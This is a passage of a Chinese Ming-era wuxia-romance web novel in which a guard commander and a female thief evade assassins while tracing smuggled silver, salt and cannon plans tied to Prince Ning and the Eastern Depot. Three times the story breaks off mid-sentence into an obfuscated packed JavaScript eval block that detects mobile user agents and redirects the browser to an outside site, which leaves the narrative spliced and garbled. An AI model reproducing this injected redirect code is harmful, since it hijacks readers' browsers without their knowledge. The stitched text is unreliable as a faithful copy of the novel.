宁王府各处火光燃起,黑翎卫警示的铜铃声穿破夜色,聂未晨单手扣在梁若鸢腰间,纵身掠上高墙,身后箭雨袭来,他反手挥刀,绣春刀寒芒如雪,斩落数支淬毒的弩箭。 “大人抱这么紧?”梁若鸢贴在他耳边轻笑,指尖从他腰间摸到一块赤金令牌,顺手便拿了出来,“东厂的东西?怎么在你这儿?” 聂未晨揽着她翻身落下,两人隐入暗巷:“乔姑娘,你……” “嘘。”她捂了他的嘴,另一手指向巷口。 一队漕帮打扮的汉子正押送几口樟木箱,箱底渗着水痕,在青石板上拖出蜿蜒的银光。 “是官银融化的痕迹。” “跟过去看看……” 聂未晨扣住她的手腕,指尖在她掌心轻划三下,有埋伏。 梁若鸢眨眼会意,将赤金令牌塞回他衣襟里,指尖顺着他腰腹滑下,故意在他腰上束带处流连:“大人藏私房钱的本事,可比武功差远了。” 铜铃声忽在巷尾炸响,两人同时屏息,贴向砖墙,青苔气息潮湿,梁若鸢抽了一下鼻尖:“硝石味。”她指向漕帮汉子腰间鼓囊的皮袋,“他们也带着火雷。” 话未落,破空声骤至,聂未晨转身将她护在怀中,绣春刀横削如月,“铮”地一声斩断两支弩箭,箭杆断裂处露出中空的碧色暗格。 “竟是蛇毒箭。” “抱紧了。”聂未晨拦腰将她抱紧,踏着巷壁砖石纵跃而上。 梁若鸢趁机扯下他身上外袍,往反方向抛去,夜色里响起数声弓弦震动。 他紧紧拉着她,两人在屋脊间起落,身后火光如毒蛇吐信。 梁若鸢忽然攀到他背上,俯在他耳边说道:“往东半里,有处废弃的船坞。”她呼吸温软,带着淡淡的血腥味,方才流箭不知何时擦破了她颈侧,他顺势将她背起。 鄱阳湖支流大片芦苇荡在月下泛着银浪,两人落入其中。 聂未晨割断一丛芦苇铺在浅滩边上,将背上的人轻轻放下。 梁若鸢忽然扯开他的衣襟,手指抚过他锁骨下三寸的旧伤:“三年前扬州漕运案,一个小贼与我同盗一拨官银,也受过这样的刀伤,哼,被我发现了,你早就在跟踪我,堂堂官差扮贼,偷摸占我便宜是吧?” “乔姑娘再多说点儿,我在考虑要不要灭口。”聂未晨擒住她的手腕,却摸到脉搏紊乱,是蛇毒。 梁若鸢轻笑:“大人现在杀我……可就没人带你找银船了……” 聂未晨目光自她脸上落下,俯身咬在她颈侧伤口处,吮出毒血吐在一旁。 她颈上一痛,温觉衍了一身,听见他在喘息间低语:“那里面的樟木箱里装的不是官银,此处蓝羽和燕十已经看过了。” 远处传来船板“吱呀”声,几个漕帮汉子正将木箱往船上搬。 芦苇深处隐约露出半截桅杆,船身吃水线反常地高出三寸,火光掠过木箱箱角,照见半个褪色的“盐”字。 梁若鸢恍然道:“他们用官银模具走私青盐?!难怪箱底有银液,定是高温融盐时混了锡箔作伪。” 船板轰然撞开,火光中跃出十余名赤膊力士,胸前皆纹着浪里蛟的图样。 聂未晨刀光乍起,斩落两支火箭:“漕帮竟敢与水匪勾结……” “不对。”梁若鸢靠近他身侧,一同退至船尾,从怀中掏出火折子晃亮,“你看,压舱石。”青灰色石块在火光下泛出诡异金斑,是混了金沙的铁矿。 聂未晨心头剧震,这分明是兵部严控的军需物资。 赤金令牌从聂未晨领口滑出,梁若鸢一把勾回手中,笑得像只狐狸:“意外收获,这里除了有人偷运青盐,还有兵部的人私贩军资。大人又欠我几多?”话音未落,芦苇丛中寒光乍现,十数柄苗刀同时刺出。 聂未晨揽着她跌入水中,绣春刀挑破最近刺客的咽喉,血雾混着冷水呛进梁若鸢鼻腔。 混乱中,有人攥住她的脚踝往下拖,她反手拔出簪子狠刺,却听见聂未晨闷哼一声,那簪子竟扎进了他的手臂,连带着她腕上血纹一搐。 “你……!”梁若鸢还未惊完,他已带着她潜入水中。 背后弓弩唰唰入水,湖水渐渐带走了她的体温。 箭伤毒性未退,她在冷水中浸得有些迷离,这才想起应赶紧吃药才是。 恍惚间一片温热覆上唇瓣,聂未晨渡来一口气,示意她往另一边看。 东南角,有暗舱。 梁若鸢睁大了眼睛,发间珍珠坠子无声滑落,聂未晨悄悄接住,认得那是去年暹罗使节进贡的南珠。 两人在船尾另一侧破水而出,梁若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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聂未晨不躲,倾身逼近,呼吸灼热,拂过她耳侧:“那乔姑娘喜欢什么样儿的?慢条斯理地……套话?” 她眯起眼,按在他一处伤口上,还未使劲,他已扣住了她的腕骨,拇指摩挲着她跳动的脉搏:“你心跳快了。” “聂大人肋骨断了还有闲心调情?”她嗤笑道。 他猛地将她拽近,两人气息交缠,他嗓音低沉,裹着痛意,依旧从容:“不如我们做个交易,你告诉我为何追查官银,我告诉你……科举案的真相。” 梁若鸢眸色一沉,指尖微颤,他在试探她?不能认。 她展颜一笑,另一只手抚上他胸膛,指尖沿着他肋骨伤处轻轻一按,听见他闷哼一声:“聂大人,你这伤再不处理,怕是要废了。” 聂未晨额角渗出冷汗,却仍勾唇笑着:“废了也无妨,反正乔姑娘会负责的。” “负责?”她轻笑,亦忍着痛,“好啊,那聂大人先告诉我,东厂提督的赤金令牌,为何会在你身上?” 他眸色骤深,扣住她后颈,气息灼热:“你猜?” 她指尖一转,用力抵住他心口:“我猜……聂大人还在查别的东西,比如……失踪的人……呵呵,江湖传闻中的那个女孩儿,是与大人关系匪浅?” 聂未晨微微一怔,看了她片刻,薄唇擦过她耳尖,在她耳垂上轻咬拉扯:“不如你亲自去问她?” 梁若鸢浑身一酥,还未反应,破庙外面传来铜铃声。 聂未晨眼神一凛,猛地将她按进怀里,翻身滚入神龛后的阴影中。 他将她压在身下,湿透的衣衫紧贴着,体温透过衣料彼此灼烧。 “嘘。”他指尖抵在她唇上,眸色幽深如夜,“现在看来,我们确实是……一条船上的人。” 梁若鸢盯着他,忽而勾唇,指尖缓缓滑入他衣襟,将那块赤金令牌塞在他胸口处,轻声道:“那聂大人可要跟紧我……别迷路。” 13. 好好休息 暴雨如注,破庙外黑翎卫的脚步声越来越近,聂未晨紧压着她,心跳透过湿衣传来,两人心跳渐渐同步。 他指尖的温度烙在她唇上,温寒在呼吸间交融,梁若鸢身上颤栗渐起。 “看来聂大人很擅长……这种姿势?” 梁若鸢压低声音,唇角勾起一抹挑衅,手指停在他衣襟处流连,若有似无地触到他的皮肤。 聂未晨眸色愈深,喉结微动:“乔姑娘似乎也很熟练。” 窗棂残破,庙外脚步渐收,听得出是抹黑前行,纷乱中踏错甚多,交谈声混入雨声,清晰可闻。 “血迹到这就断了,肯定在里面!” “搜!活要见人,死要见尸!” 梁若鸢呼吸一滞,聂未晨手臂霎时收紧,将她推入更深的阴影中。 他嘴唇几乎贴在她的耳畔,气息拂过她一侧鬓发,湿冷之下热得有些灼人:“别动。” 她眯起眼,突然张嘴轻咬了一下他仍抵在她唇上的手指。 聂未晨浑身一僵,眼中闪过一丝危险的光。 梁若鸢满意地观赏这反应,舌尖轻舔方才自己咬过的地方,无声地做了个口型:“紧张?” 破庙大门猛地撞开,青灯余光晃动之后消散,雨声涌入。 聂未晨抓起身旁一块帷帐,一点点罩在两人身上,布料破旧腐朽,霉味攻鼻,却恰好能融入神龛后的一片黑暗中。 “那边搜过了吗?” “还没有,好像有什么声音……” 脚步逼近,梁若鸢的手悄悄摸向腰间的短刀,聂未晨将她手腕一把扣住,摇了摇头。 黑翎卫一步步走近,伸手触向帷帐,庙外响起一声哨响,尖锐明亮,似穿透浓云。 “北面发现踪迹!快追!” 雨声渐缓,脚步声匆匆远去,破庙在雨声中沉寂,未熄灭的篝火还在燃烧。 两人保持着原来的姿势,连呼吸都渐渐同步,却无人擅动。 “他们走远了。”梁若鸢轻声道,手指在他掌心处不轻不重地挠了一下,“聂大人还不起来,是想继续……?” 聂未晨盯她片刻,抱着她翻了个身,两人的位置调转,他膝盖抵开她双腿,单手扣住她两只手腕钳在她背后。 “乔姑娘似乎很喜欢撩拨男人。”他的声音低沉沙哑,“但你要知道……锦衣卫的东西,都不是那么好拿的。” 梁若鸢挣了挣,发现动弹不得,他借力再次将她压在地上:“紧张?” 梁若鸢轻笑,仰起头凑近他耳边:“那聂大人想怎么惩罚我呢?”她故意将呼吸喷在他耳后,“以权……谋私?” 聂未晨的呼吸明显粗重了几分,扣着她手腕的力道亦更重了些:“比如……把你带回北镇抚司,好好‘审问’?” “呵呵……”梁若鸢笑着,忽然腰身一扭,趁他吃痛的一瞬从桎梏中脱身,“那得看聂大人有没有这个本事!”她爬起的一瞬,一脚扫起大片枯草。 聂未晨侧身避开,伸手一挽,精准扯住她腰间缎带,梁若鸢身形瞬滞,他将她重新拉回怀中,两人一番扭斗,同时摔到了墙边草堆上,掀起大片尘土。 “你……”臂上血纹抽痛,梁若鸢正要叱他,聂未晨忽然警觉,捂了她的嘴,望向门外。 脚步声轻微而缓慢,一个黑影摸进庙里,悄无声息,似极谨慎,在屋里四处查看。 聂未晨低不可闻地咒骂一声,这些黑翎卫果然留了后手。 梁若鸢眼中闪过一丝决绝,从发间拔下一根银簪,手腕一翻,射向庙内唯一却已灭的油灯。 “当”的一声,残旧的灯盏落地摔裂,她指尖勾来帷帐一角,用力甩开:“走。” 她拉起他,借着帷帐掩护,冲向破庙后窗。 两人先后跃出窗外,落入大雨中。 雨势稍敛,聂未晨回转一刀,斩落一个黑翎卫埋伏的暗哨,拉着梁若鸢冲向密林深处。 “东南方向,三里外有我一个安全屋。”梁若鸢在奔跑中喊道,雨水顺着她的脸颊汇成细流,长睫之下仿若晶莹泪光。 黑云滚滚,雷声暴起,聂未晨没有回答,用力握紧了她的手,身上痛觉深重,他却越跑越快。 黑翎卫头戴斗笠,身披蓑衣,刀光在雨幕中闪烁,似从地下不断长出来,一个个紧追不舍。 “分开走!”梁若鸢忽然甩开他的手,“我引开他们,安全屋见!” 不等聂未晨回应,她已调转方向,故意弄出响声,朝另一侧跑去。 “在这边!追!”黑翎卫当真中计,大批人马往梁若鸢离开的方向追去。 聂未晨咬了咬牙,转身朝东南方飞奔,她的轻功了得,可黑翎卫人数众多…… 不断闪过的念头让他胸口发紧,天边日白渐出,雨却反常地越下越大,似要将天地淹没。 梁若鸢身形如燕,脚尖落在树枝上,轻轻一点,丝毫不受湿滑所阻,轻声掠出三丈开外,身后怒骂声在雨中渐渐消散。 “二十三人……不,二十四个。”她默数追兵数量,嘴角勾起一抹冷意,这帮黑翎卫还真是看得起她,不过幸好都跑得不快,她能暂且缓缓气。 她故意放慢速度,让最前面的追兵不至于跟丢她,拐过一处山岩,她从腰间摸出一枚铜钱,取下簪子,在上面划下几道痕迹,嵌入岩缝中。 聂未晨那家伙……应该还认得这个记号吧? “在那儿!”黑翎卫喊声骤然逼近。 梁若鸢纵身一跃,跳入湍急的泉流中,山水冰冷刺骨,浸透全身,她屏住呼吸,顺流而下,直到确定甩开追兵,才在一处河湾悄悄上岸。 她用力拧了拧湿透的衣裙,坐下喘气,从暗袋中取出赤玉令牌和龙纹牙牌查看,半块飞鱼符在袋中隐隐发光,她才发现鱼眼是红宝石所嵌。 天光昏暗,龙纹牙牌泛着蓝光,幽幽映照她略显苍白的脸。 “赚大了……”她轻声自语,“但怎么用呢?” 她看了看天,雨势似是收尽,起身辨了方向,收好东西,朝东南方掠去,每过一段距离,她都留下细微的记号,几根以特定方式折断树枝,又或者一块刻有特殊纹路的树皮。 这些记号,皆源自边军夜不收,只有特定的人才能读懂。 聂未晨身上传来阵阵刺痛,伤口在雨水的浸泡下都已泛白,梁若鸢转身离开的背影不断在他脑海中浮现,飞贼轻功是好,可黑翎卫的毒箭哪里是吃素的…… “该死。”他咒骂一声,自己也不知是骂阴魂不散的追兵,还是骂那不知天高地厚的飞贼。 林叶渐密,他忽然驻足,侧耳细听,可闻风声卷来金属碰撞的轻响,极细极微,有埋伏…… 他不动声色,抽出刀来,假装毫无察觉,一步步往前走去。 经过一棵橡树,他刀光骤转,树后传来一声闷哼,一黑翎卫暗哨应声倒地。 “锦衣卫的狗鼻子名不虚传啊。”阴影中走出五六人,为首的手握长刀,一脸阴笑。 聂未晨冷笑道:“比不过黑翎卫,阴魂不散。” “把兵符副令和那女贼交出来,给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809197|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个痛快。”为首的黑翎卫阴森森地睨着他。 聂未晨甩了甩刀上雨水,低眸闲适:“我若说不呢?” “那就让你尝尝生不如死的滋味!” 六人霎时攻来,聂未晨刀光乍起,绣春刀在雨雾中划出一道道银亮的弧线,每一刀都毫不迟疑,直驱要害,转眼便已斩落两人。 一道刀光划过他的左臂,鲜血带着温度,一下染了衣袖。 “聂大人,自己的血暖自己,可还不错?”为首的黑翎卫狞笑着逼近。 聂未晨趁其自傲,从怀中摸出烟弹掷向地面,“砰”的一声,炸开一团云雾,连带着水汽席卷,浓密难消。 黑翎卫惊忙后退,于烟雾中不见彼此,更不见聂未晨身影,待风过雾散,聂未晨已不见踪迹。 “追!他受了伤,跑不远!” 密林深处,聂未晨强忍痛楚,疾奔不止,失血和内伤令他视线有些模糊。 那女人虽狡猾,但眼下……他们是拴在一根绳上的蚂蚱。 等等,那是什么? 他猛地刹住脚,俯身拾起一片折成三折的树枝,叶茎上还有一道细小的弯月刻痕。 “这女人……”聂未晨眼中闪过一丝复杂的神色,这是他做夜不收时内部使用的追踪记号,她怎么会知道的? 他顺着记号指引的方向前行,心中疑问越来越深,她到底是不是她?她为何会知道这么多?她到底有什么目的? 他奋力疾走,找到了那座隐蔽在山坳中的小屋,天微明,雨似飞絮。 他警惕着,绕屋查看一周,确认没有问题,轻叩了三下门板,停住,再叩两下,这是锦衣卫的暗号,她又知不知道呢? 木门无声开启,梁若鸢倚在门框上,发梢滴着水,唇角挂着那抹熟悉的玩味:“聂大人迟到了。” 聂未晨刚要开口,忽然眼前一黑,朝前栽下去。 预想中冰冷的地面没有硬生生地到来,一双温暖纤细的手臂接住了他,朦胧中,茉莉香气浮在他的呼吸里,混着雨过天晴的清新。 “啧,堂堂锦衣卫指挥使,这么不经造……”她的声音近在咫尺,带着一丝他从未听过的柔软。 他想反驳,却只发出一声闷哼,他感觉到她将他身上衣袍轻轻褪下,紧接着,一阵刺痛传来。 她在给他处理伤口。 “忍着点。”她的声音严肃起来,“这伤口似是有毒。” 他勉强睁眼,正好对上梁若鸢近在咫尺的脸,只见她眉间微蹙,全神贯注地为他清理伤口,一双眼睛睫毛纤长弯翘,一下下扇动,晨光中,于眼底投下一道阴影。 她那副玩世不恭的神态不知何时消散,专注与担忧凝在她眼中,她在……担心? “为什么一次次救我?”他哑声问道。 梁若鸢手上动作不停,双眸不抬:“聂大人不是也说……我们是‘一条船上的人’吗?” 她忽然凑近,抬眸一瞬,近到他似能数清她睫毛的数量:“还是说……”她勾起一抹笑意,声音里带着他未听过的温顺柔软,“聂大人是希望有别的原因?” 聂未晨喉结微动,正想说什么,她又起身,调笑的表情再现:“好了,死不了。我去弄点吃的,聂大人好好休息。” 她转身往屋内后间走,背影窈窕,他发现她右脚有些微跛…… “你受伤了?”他想大声些问她,可最终虚弱到并没令她听见,胸口发紧的感觉令他有些浑身麻木。 窗外,日光穿透云层,照在门边那把还在滴水的油纸伞上。 14. 大人自重 浔阳驿码头雨后潮湿更甚,水汽浮在风里,跟着水浪翻卷,似都扑在人身上。 天色灰暗,青石路面积水未干,水洼里,沿路屋舍倒影朦胧,渡口本该喧闹,今日却异常安静,几个锦衣卫身着飞鱼服在渡口设卡盘查,蓝羽压低斗笠,不动声色。 “不对劲,”他假意整理行囊,低声道,“南昌卫所的人怎么会在浔阳驿设卡?这不合规矩。” 燕十右手按在腰间短刀上,眯眼细瞧:“看那旗号,确实是南昌卫所的人,可他们应该在南昌当值,怎会跑到两百里外的浔阳驿来?” 行人稀疏,两人混入其中,缓步前行。 负责盘查的锦衣卫神色紧张,手不离刀,对每个过客皆严加盘查,更怪的是,他们检查的不是官府路引,而是专门查看行人右手虎口。 “他们在找用刀的人,”蓝羽心中一凛,“燕十,你手上的茧。” 燕十下意识地搓了搓右手虎口,自幼练刀必留下厚茧,如何也无法掩饰,两人对视一眼,一起放慢脚步。 “你们两个!”一个粗犷的声音忽然喝道,“过来这边!” 蓝羽抬眼,一锦衣卫小旗官满脸横肉,正伸手指着他们,他轻碰燕十的手肘,示意他跟着,自己做出畏缩状,带头走向关卡。 “官爷有何吩咐?”蓝羽操着一口浓重的江西口音问道。 小旗官一双三角眼上下打量二人:“从哪里来,到哪里去?” “回官爷,小的是鄱阳县人,带小弟去九江投亲。”蓝羽从怀中掏出一份伪造的路引,同时故意咳嗽几声,“咳咳……贱内新丧,家中田地又遭了水灾……” “少废话!”小旗官粗暴打断,一把抓住燕十的右手,“这是干什么活计的?虎口这么厚的茧?” 燕十眼中寒光一闪,蓝羽赶紧插话:“官爷明鉴,我这小弟从小跟着他爹打铁为生,那铁锤握得……” “放屁!”小旗官突然暴喝,“打铁的茧在掌心,这是刀茧!”他猛地掀开燕十的斗笠,狞笑起来,“燕千户,久仰了!拿下他们!” 七八名锦衣卫拔刀围来,燕十一脚踹翻了关卡桌案,木桌翻转飞起,砸中两名锦衣卫,蓝羽从袖中甩出三枚飞镖,刺穿三人手腕,三把钢刀瞬间落地。 “走。”蓝羽低喝一声,两人一起向码头外突围。 “拦住他们!死活不论!”小旗官怒吼吹哨,更多锦衣卫从码头各处涌来。 燕十三拳两脚夺过一把绣春刀,寒刃之下放倒两名追兵,蓝羽从旁策应,翻飞间暗器如飞星,闻声不见影。 两人拼尽力气,杀出一条血路,“上船!”一艘起航的快船刚刚离岸,燕十踏上一摞货箱就要跳上去。 蓝羽一把拉住他:“不行,水上若还有,我们会更被动。”他目光扫过四周,从怀中掏出一个油纸包,猛地掷向追兵最密集处。 纸包在半空散开,白色粉末漫天飘散,“石灰!小心眼睛!”追来的锦衣卫慌忙遮挡,霎时间阵型大乱。 蓝羽趁机拉了一下燕十,两人冲向码头西侧的一处马厩:“快,找匹马,我们先回京。” 追兵之中,有人张弓搭箭,羽箭呼啸而来,燕十头也没回,转身一刀,箭矢凌空劈做两半。 蓝羽赞叹一笑,快速解了两匹马的缰绳:“上马,快。” 两人上马疾驰,燕十在马鞍袋竟摸到了一把短弓和三支箭,他瞬间搭上,回身连射,一支射落追兵旗帜,一支射断吊桥绳索,最后一支正中为首小旗的肩头。 “南昌卫所叛变,”蓝羽策马疾驰,声音在风中断断续续,“我们改走陆路……前面官驿换马,需尽快回京报信。” 快马绝尘而去,身后传来追兵的怒骂声和杂乱的马蹄声,浔阳驿三十里外,两人转入山林小道,暂避追兵视野,林间雾气成了天然的掩护。 “歇会儿吧,”蓝羽勒马四顾。 燕十警惕下马:”南昌卫所的人怎么会叛变?” 马上挂着水囊,蓝羽取下查看,喝了一口:“还记得聂大人留给我们的密信吗?”他从怀中摸出一张纸条展开,“‘银鱼入宁池,火鸦栖通木’,我一直没明白这暗语何意。” 燕十皱眉思索:“宁池……宁王府?通木……通州?” “不错,”蓝羽眼中精光闪烁,“聂大人早就怀疑宁王与官银、火器流失有关,现在南昌卫所叛变,而南昌是宁王封地所在……” 一声树枝断响打断了他的话,两人同时噤声,手按兵器,雾气中隐约可见人影晃动。 “六个,”燕十声若耳语,“左右包抄,训练有素。” 蓝羽微微点头,高声喊道:“既然来了,何必藏头露尾?” 片刻,一个阴冷的声音从雾中传来:“蓝佥事好耳力,咱家奉曹公公之命,请二位回京问话。” “东厂的人?”燕十冷笑,“什么时候东厂的走狗和南昌卫所的叛徒勾搭在一起了?” “燕千户此言差矣,”那人缓步走出,竟是一名身着锦衣卫千户服制的男子,身后跟着五名精锐,“南昌卫所是奉密旨行事,何来叛变一说?倒是二位,抗命不遵,袭击同袍,该当何罪?” 蓝羽勉强看清来者,怒火暗生:“陈千户,我记得你是聂大人一手提拔的,如今竟投靠曹贼?” 陈千户面上闪过一丝不自然:“时局变幻,识时务者为俊杰。聂未晨贪赃枉法,罪证确凿。二位若肯交出密信,我也可保你们性命。” “放屁!”燕十怒喝,“聂大人清正廉明,定是你们构陷蓄意构陷!” 陈千户叹息一声:“那就休怪我不念旧情了。”他一挥手,五名精锐同时拔刀。 蓝羽一脚踢翻身旁鞍袋,袋中石灰再次扬起,他拉起燕十退入密林深处。 “分头走,老地方会合。”蓝羽低声道,随即转身钻进东北方向林子里。 燕十会意,故意弄出声响吸引追兵,自己往西南方奔去,身后传来打斗声,地势曲折,追兵在雾气中认错了人…… 蓝羽在密林中穿梭,两名黑衣人装束奇特,既非锦衣卫也非东厂番子,手中兵器是罕见的链子镖,忽然出现,拦了去路。 “宁王府的死士?”蓝羽瞥见他们袖口金绣雁羽标记,心中一沉。 链子镖呼啸而来,蓝羽矮身避过,拔刀扫中一人的膝头,那人惨叫跪倒,另一枚链子镖却缠住了蓝羽左臂,温血顿时浸透衣袖。 一支羽箭破空而至,正中袭者咽喉,燕十从树后闪出,连发三箭,逼退其余追兵。 “你怎么回来了?”蓝羽咬牙扯掉缠在臂上的链子镖。 燕十咧嘴一笑:“忘了告诉你,我新学了一招,叫回马箭。”他帮着蓝羽简单包扎好伤口,“追兵暂时甩掉了,但陈千户认得我们,陆路关卡肯定都已收到了通缉。” 蓝羽忍着痛将密信展开,细思片刻:“那就去通州,如果‘通木’真是通州,那里定有线索。” 燕十点头:“宁王与东厂勾结,锦衣卫内部竟有叛徒,那意思便是……我们必须找到失踪的火器和官银。” 京城十王府琉璃瓦上残阳如血,庭院铺洒大片赤红,朱宸濠站在窗前,手中攥着那封伪造的信件,指节一点点开始泛白。 他的目光死死盯着“九州堪舆图”五个字,字迹分明是徐有贞的字,可图纸却并不在信中所指之处,他眼中怒火似要将信纸烧穿。 “没有……竟然没有!”朱宸濠将案上茶盏扫落在地。 府宅院落寂静,瓷器碎裂的声响携着暴怒,显得格外刺耳,黑翎卫统领跪在地上,他转身怒目:“搜遍了?确定没有?” “回王爷,属下已将整幅图换下,用赝品替代,原图已拆解检查,确实没有佛郎机炮的图纸。”黑翎卫统领额头抵地,声音发颤。 朱宸濠深吸了口气,缓缓走出门去,院中一棵百年老槐树影婆娑,点点霞光仿若无数窥视的眼睛深藏其中。 “徐有贞……”朱宸濠冷笑一声,“废物,果然死不足惜……不,不是他……那老狐狸没这个胆量,也没这个本事。”他猛地转身,“去查,谁接触过工部账册?谁会仿造徐有贞的笔迹和私印?” 黑翎卫统领刚要退下,朱宸濠又抬手制止:“慢着……你们先解决掉聂未晨,他是沟渠里的老鼠变的,明里暗里,他都知道太多……不能留着。” 那统领领命退下,门外守卫来报:“王爷,东厂曹督主求见。” 朱宸濠眉头一挑,整了整衣冠:“请。” 曹化成一身素色锦袍,面带微笑,踱步而入,看似闲适,眼中却锐利。 他微微拱手:“王爷别来无恙。” “曹督主此时造访,想必有要事相商。”朱宸濠示意左右退下,亲自为曹化成斟茶。 曹化成接过茶盏不饮,只轻轻转动杯沿:“听闻王爷近日在寻一样东西?” 朱宸濠眼中寒光一闪而逝:“督主消息灵通,聂未晨虽已入局,但迟迟没有抓到他,督主以为……如何处置这些隐患?” “王爷勿怪。”曹化成放下茶盏,从袖中取出一纸残信,“皇上今日召见,问了些关于徐大人与王爷……联络之事。” 朱宸濠看清那正是徐有贞写给他的原信残片,心中一凛,面上却不动声色:“哦?徐大人与本王不过是寻常书信往来,不知督主带来的是……?” 曹化成轻笑一声:“王爷何必明知故问?二十尊未完工的虎墩炮,皇上早已起疑了。”他压低声音,“更巧的是,下官发现有人仿造徐大人笔迹私印,诱王爷上当。” 朱宸濠沉默片刻,忽然大笑:“好一个指挥使!本王竟被一只老鼠算计了!” “聂未晨是有些聪明,不过……”曹化成眼中闪过一丝阴冷,“他不知道皇上最在意什么,如今皇上虽未明言,但显然已对王爷有所皆备。” 朱宸濠起身踱入院子里,园中夜色已浓,他脚下的影子在灯下拉长:“督主今夜前来,不只是为了告诉本王这些吧?” 曹化成亦起身走近,声音压得极低:“王爷明鉴,下官此来,是想与王爷……在深入合作一下。” “哦?”朱宸濠挑眉,“督主身为东厂之首,竟要与本王这个‘嫌疑之人’合作?” “王爷说笑了。”曹化成从怀中取出一份名单,“这些是下官在工部的心腹,可助王爷转移那些……特殊货物,至于二十万两官银,下官另有渠道可以洗白。” 朱宸濠接过名单细看,眼中渐渐浮现笑意:“督主好手段,不过,皇上那边……” “皇上近来龙体欠安。”曹化成意味深长道,“太子年幼,朝中需要有力之人……辅佐。” 两人对视一眼,心照不宣。 “既如此,本王也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好刀法。”聂未晨笑道,左手攥住她手腕,右手已掀开她脚边裙摆,肌肤破损处泛着诡异的青紫,伤口渗出的黑血早已凝结。 梁若鸢猛地屈膝顶向他腹部,他一把抓住,按在腰侧。 两人摔在榻上滚了半圈,她袖中滑出小刀抵向他喉结:“大人自重。” 他只手压住她伤处,剧痛令她眼前一黑,握刀的手亦松开,听见他在耳边叹气:“江边‘见阎罗’,再两个时辰,攻心。” “不劳……”她喘息着冷笑,自己摸向腰间暗袋,“……指挥使大人操心。” 聂未晨将那暗袋一把抽走,抓出几株干枯药草:“紫背天葵?”他挑眉,“你这贼祖宗连解毒药都偷半吊子。”说着,他竟低头吮上她的伤口。 梁若鸢浑身绷紧,湿热的触感混着刺痛从脚踝窜上脊背,他吐出的黑血在地面草席上晕开大朵暗花。 第四口毒血啐出,她揪住他衣襟:“你起来!不然我就杀了曹化成的外甥。” 聂未晨抬眼看她,唇色因粘毒而泛紫:“你早前潜入通州驿,就为这个?”他故意用力吮一口,在她战栗中含糊道:“巧了,我也在找曹贼家的小宝贝。” 火堆爆出个火星,梁若鸢看着他从她的暗袋里取出青瓷瓶,倒出两粒药丸,她捏住其中一粒,对着火光端详:“像不像诏狱的‘肝胆裂’?” “比不上姑娘的‘温柔乡’。”聂未晨指向自己颈侧,那里有一道血痕,正是青蚨换血所致。 两人对视片刻,梁若鸢吞下他给的毒药:“以毒攻毒……以恶制恶……大人以为如何?” 药效迅速发作,梁若鸢眼前如有走马灯,七岁那年父亲疲惫之余教她识毒,说世间最毒的是人心;十岁那年,老贼“一阵风”教她翻墙开锁,仿制印章;二十五岁锦衣卫指挥使为她解毒,眼里晃着她读不懂的光……恍惚间,有人往她嘴里灌入辛辣的东西,她不慎咬破舌尖,尝到一股血味。 “醒了?”聂未晨的脸在火光中忽远忽近,手里转着个空酒囊,“五毒教以毒攻毒的法子,比太医院那些老头子强。” 梁若鸢发现自己的头枕在他腿上,猛地坐起,撞上一阵眩晕:“聂大人……见识真广,”她喘着气笑,“连我的五步蛇胆都摸出来了。” “冷?”夜雨转急,聂未晨忽然一问。 梁若鸢才发现自己在抖,毒素纠缠后快速清退,寒意浸透骨髓,她正蹙眉犹豫,飞鱼服已裹住肩头,残留的体温混着沉水香扑入呼吸中。 “别误会。”他背对她拨弄火堆,“你死了我没法交差,陛下留你有用。”他说着动作停住,低眸等她反应。 有用?谁有用? 梁若鸢将脸埋进飞鱼服里,轻笑不语。 三更,她假装睡熟,歪向聂未晨肩头,感觉到他身子僵了僵,却没躲开。 她微微睁眼,透过睫毛缝隙,看见他左手始终按在刀上,右手却虚虚护在她腰后。 雨声奏鸣,万籁俱寂,她闭上眼,不知不觉睡去,天微亮时,两人同时睁眼,林间鸟雀惊飞,声音不对。 聂未晨握紧刀鞘,压住梁若鸢正欲抽刀的手,在她掌心划下“七人”二字。 梁若鸢挑眉,指尖蘸了窗边湿气,在他刀镡上画了个“宁”字。 一支弩箭穿透窗纸,梁若鸢将手中短刃掷出,来者咽喉瞬断。 两人同时踹开后窗,聂未晨低声道:“通州码头,午时三刻。” 15. 这种赝品 晨露未收,刀光如织,聂未晨夜里削尖的木枝一根根射向扑来的追兵,刀尖落下,滴落一串血珠,七名黑翎卫,转眼倒下四个,他侧身避开一支冷箭,余光中,梁若鸢如红蝶掠上房檐,手中微光一闪,不远处树上落下一把弓来,黑翎卫弓手捂着喉咙从树上栽下,剩余两人退走入林。 “应还不止两个……”聂未晨正说着,腰间一轻,低头发现革带一侧少了一个锦囊,他唇角微勾,这女人又要干什么…… 梁若鸢红裙翻飞,落在三丈外,回头冲他眨了眨眼,那眼神分明在说:追得上就还你。 聂未晨轻笑,足尖一点,木屋门前青石板水花轻绽,他故意放慢半步,看着梁若鸢在林间穿梭,身影纤妙,亦发现每当她即将消失在视线里,便会刻意慢下来,似也在等他。 “乔姑娘。”聂未晨忽然腾空,绣春刀劈开几丛枝叶,当头落下,“偷东西确实不是什么好习惯。” 梁若鸢旋身一避,扶了株老树站稳,初阳落入她眼中,她将手中锦囊举高晃了晃:“聂大人贴身带着火器图,莫非要改行当海盗?” 